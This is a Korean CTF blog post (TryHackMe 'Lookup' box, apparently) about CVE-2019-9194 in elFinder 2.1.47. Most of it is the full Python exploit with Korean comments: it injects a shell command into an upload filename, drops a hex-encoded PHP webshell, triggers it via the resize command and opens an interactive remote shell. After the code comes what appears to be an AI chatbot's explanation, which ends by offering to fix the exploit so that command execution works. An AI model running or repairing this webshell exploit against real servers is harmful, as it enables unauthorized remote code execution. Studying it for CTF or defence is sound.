CVE: CVE-2019-9194 elFinder 2.1.47

agnusdei·2025년 6월 15일

CTF

목록 보기
23/185
#!/usr/bin/python
# ↪ Python2 인터프리터를 사용

'''
Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability
...
# CVE: CVE-2019-9194
'''
# ↪ elFinder 2.1.47 이하 버전에서 발생하는 커맨드 인젝션 취약점에 대한 익스플로잇
# ↪ 취약점: 파일 업로드 처리 시 파일 이름에 쉘 명령이 들어가도 필터링하지 않음

import requests  # HTTP 요청을 위해 사용
import json      # 서버의 JSON 응답 파싱
import sys       # 커맨드라인 인자 처리

# payload: 파일 이름에 쉘 명령을 삽입한 문자열
# 실제로는 .jpg 파일을 업로드하는 척하면서 PHP 웹쉘을 생성함
# `echo ... | xxd -r -p`는 hex 값을 PHP 코드로 복원하여 웹쉘을 만드는 명령
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'

def usage():
    # 사용자가 URL을 안 넣으면 안내 메시지 출력 후 종료
    if len(sys.argv) != 2:
        print "Usage: python exploit.py [URL]"
        sys.exit(0)

def upload(url, payload):
    # 업로드할 파일 지정
    # 파일 이름에 쉘 명령이 들어가 있음
    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}

    # elFinder에서 요구하는 POST 데이터 형식
    data = {
        "reqid" : "1693222c439f4",     # 요청 식별자 (무작위 값)
        "cmd" : "upload",              # 명령어: upload
        "target" : "l1_Lw",            # 업로드 위치 (기본 루트 디렉토리)
        "mtime[]" : "1497726174"       # 수정 시간 (무작위 값)
    }

    # 실제 업로드 POST 요청 전송
    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)

    # JSON 응답에서 업로드된 파일의 해시 추출
    j = json.loads(r.text)
    return j['added'][0]['hash']  # → 이 해시를 이용해 다음 작업 수행

def imgRotate(url, hash):
    # 업로드된 이미지를 회전하는 척하며
    # 서버가 이미지 파일을 처리할 때 filename에 있는 쉘 명령이 실행되도록 유도
    r = requests.get(
        "%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
        % (url, hash)
    )
    return r.text

def shell(url):
    # 업로드한 웹쉘 접속 시도
    r = requests.get("%s/php/SecSignal.php" % url)
    if r.status_code == 200:
        print "[+] Pwned! :)"
        print "[+] Getting the shell..."
        while 1:
            try:
                # 간단한 웹 인터페이스 셸 구현
                # 사용자가 입력한 명령어를 웹쉘에 GET 파라미터로 전달
                input = raw_input("$ ")
                r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
                print r.text  # 명령 실행 결과 출력
            except KeyboardInterrupt:
                # Ctrl+C 입력 시 종료
                sys.exit("\nBye kaker!")
    else:
        # 웹쉘 접근 실패 → 취약하지 않거나 실패한 경우
        print "[*] The site seems not to be vulnerable :("

def main():
    # 인자 확인
    usage()
    url = sys.argv[1]  # 첫 번째 인자를 URL로 받음

    print "[*] Uploading the malicious image..."
    hash = upload(url, payload)  # 악성 payload 업로드

    print "[*] Running the payload..."
    imgRotate(url, hash)  # 회전 요청으로 filename에 포함된 명령 실행

    shell(url)  # 웹쉘 접속 시도

if __name__ == "__main__":
    main()  # 직접 실행된 경우 main 함수 호출

정확해요! 아주 잘 이해하셨어요.
정리해서 쉽게 설명해드릴게요:


🧠 문제 핵심

📁 elFinder에 이미지 파일(JPG) 을 업로드할 수 있어요.

그런데 파일 이름명령어를 심어서 업로드하면…

⚙️ elFinder가 그 파일 이름을 처리할 때

\=> 명령어가 실행돼서
\=> 웹쉘(PHP 파일)같이 만들어지는 거예요!


🐚 그리고 그 웹쉘(PHP)을 다시 브라우저나 스크립트로 호출하면

URL 뒤에 ?c=명령어 를 붙여서

http://파일경로/SecSignal.php?c=whoami

💥 그러면 whoami 명령어가 실행돼서
웹쉘이 우리 명령을 서버에 전달해줘야 하는데...


🚨 그런데 지금 문제는?

  • 웹쉘을 만든 위치가 /php/SecSignal.php인데
  • /php/ 폴더는 elFinder 내부 API 경로로 인식돼서
    👉 우리가 만든 PHP 웹쉘이 그냥 API로 처리되어 버려요.

결과적으로 우리가 명령을 보내도,

{"error":["errUnknownCmd"]}

이런 API 오류만 나오는 거예요.


✅ 그래서 해결책은?

1. 웹쉘을 진짜 파일 업로드 경로 (예: /files/ 또는 /uploads/)에 만들고

2. 그 위치에 있는 웹쉘 URL로 명령을 보내야 해요:

http://files.lookup.thm/elFinder/files/SecSignal.php?c=whoami

🎯 비유하자면

  • 지금은 우리가 파일을 비밀통로에 숨겨놨는데,

  • 문이 막혀 있어서 못 들어가는 상태예요.

  • 그러니까 정상적인 문(files 폴더 등) 에다 웹쉘을 다시 만들어서

  • 그 경로로 명령을 보내야 하는 거예요.


원하시면 지금 코드 살짝 수정해서
웹쉘 URL을 정확히 찾고 명령 실행까지 되는 방식으로 만들어드릴게요.
바로 할까요?

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글